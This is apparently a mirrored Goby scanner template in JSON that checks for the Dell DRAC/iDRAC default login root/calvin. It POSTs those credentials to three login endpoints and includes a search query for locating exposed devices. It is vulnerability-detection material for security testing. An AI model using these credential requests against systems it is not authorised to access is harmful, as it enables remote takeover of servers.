mirror of https://github.com/qwqdanchun/Goby.git
138 lines
4.1 KiB
JSON
138 lines
4.1 KiB
JSON
{
|
|
"Name": "Dell DARC Default Credentials",
|
|
"Description": "The DARC administrator 'root' has a password that is set to the default value of 'calvin'. As a result, anyone with access to the DARC port can trivially gain full access to the machine via arbitrary remote code execution. ",
|
|
"Product": "Dell-DRAC",
|
|
"Homepage": "https://www.delltechnologies.com/en-us/solutions/openmanage/idrac.htm",
|
|
"DisclosureDate": "2012-04-23",
|
|
"Author": "gobysec@gmail.com",
|
|
"FofaQuery": "(cert=\"Remote Access Group\" || cert=\"iDRAC Group\") && cert=\"Dell Inc.\"",
|
|
"GobyQuery": "(cert=\"Remote Access Group\" || cert=\"iDRAC Group\") && cert=\"Dell Inc.\"",
|
|
"Level": "3",
|
|
"Impact": "Remote attacker can use this default to control the server.",
|
|
"Recommendation": "It is imperative to change default manufacturer passwords and restrict network access to critical and important systems.",
|
|
"References": [
|
|
"https://www.trustedsec.com/blog/owning-dell-drac-awesome-hack/"
|
|
],
|
|
"HasExp": false,
|
|
"ExpParams": [],
|
|
"ExpTips": {
|
|
"Type": "Tips",
|
|
"Content": ""
|
|
},
|
|
"ScanSteps": [
|
|
"OR",
|
|
{
|
|
"Request": {
|
|
"data": "user=root&password=calvin",
|
|
"data_type": "text",
|
|
"follow_redirect": false,
|
|
"header": {
|
|
"Content-Type": "application/x-www-form-urlencoded"
|
|
},
|
|
"method": "POST",
|
|
"uri": "/data/login"
|
|
},
|
|
"ResponseTest": {
|
|
"checks": [
|
|
{
|
|
"bz": "",
|
|
"operation": "contains",
|
|
"type": "item",
|
|
"value": "<authResult>0</authResult>",
|
|
"variable": "$body"
|
|
},
|
|
{
|
|
"bz": "The maximum number of user sessions has been reached!",
|
|
"operation": "contains",
|
|
"type": "item",
|
|
"value": "<authResult>5</authResult>",
|
|
"variable": "$body"
|
|
}
|
|
],
|
|
"operation": "OR",
|
|
"type": "group"
|
|
},
|
|
"SetVariable": []
|
|
},
|
|
{
|
|
"Request": {
|
|
"data": "user=root&password=calvin&WEBSERVER_timeout=1800&WEBSERVER_timeout_select=1800",
|
|
"data_type": "text",
|
|
"follow_redirect": false,
|
|
"header": {
|
|
"Content-Type": "application/x-www-form-urlencoded"
|
|
},
|
|
"method": "POST",
|
|
"uri": "/cgi-bin/webcgi/login"
|
|
},
|
|
"ResponseTest": {
|
|
"checks": [
|
|
{
|
|
"bz": "",
|
|
"operation": "contains",
|
|
"type": "item",
|
|
"value": "/cgi-bin/webcgi/index",
|
|
"variable": "$body"
|
|
},
|
|
{
|
|
"bz": "no free session",
|
|
"operation": "contains",
|
|
"type": "item",
|
|
"value": "Connection refused, maximum sessions already in use",
|
|
"variable": "$body"
|
|
}
|
|
],
|
|
"operation": "OR",
|
|
"type": "group"
|
|
},
|
|
"SetVariable": []
|
|
},
|
|
{
|
|
"Request": {
|
|
"data": "WEBVAR_USERNAME=root&WEBVAR_PASSWORD=calvin&WEBVAR_ISCMCLOGIN=0",
|
|
"data_type": "text",
|
|
"follow_redirect": false,
|
|
"header": {
|
|
"Content-Type": "application/x-www-form-urlencoded"
|
|
},
|
|
"method": "POST",
|
|
"uri": "/Applications/dellUI/RPC/WEBSES/create.asp"
|
|
},
|
|
"ResponseTest": {
|
|
"checks": [
|
|
{
|
|
"bz": "no free session",
|
|
"operation": "contains",
|
|
"type": "item",
|
|
"value": "Failure_No_Free_Slot",
|
|
"variable": "$body"
|
|
},
|
|
{
|
|
"bz": "",
|
|
"operation": "contains",
|
|
"type": "item",
|
|
"value": "'USERNAME' : 'root'",
|
|
"variable": "$body"
|
|
}
|
|
],
|
|
"operation": "OR",
|
|
"type": "group"
|
|
},
|
|
"SetVariable": []
|
|
}
|
|
],
|
|
"ExploitSteps": null,
|
|
"Tags": [
|
|
"defaultaccount"
|
|
],
|
|
"CVEIDs": null,
|
|
"CVSSScore": "10.0",
|
|
"AttackSurfaces": {
|
|
"Application": null,
|
|
"Support": ["Dell-DRAC"],
|
|
"Service": null,
|
|
"System": null,
|
|
"Hardware": null
|
|
},
|
|
"Disable": false
|
|
} |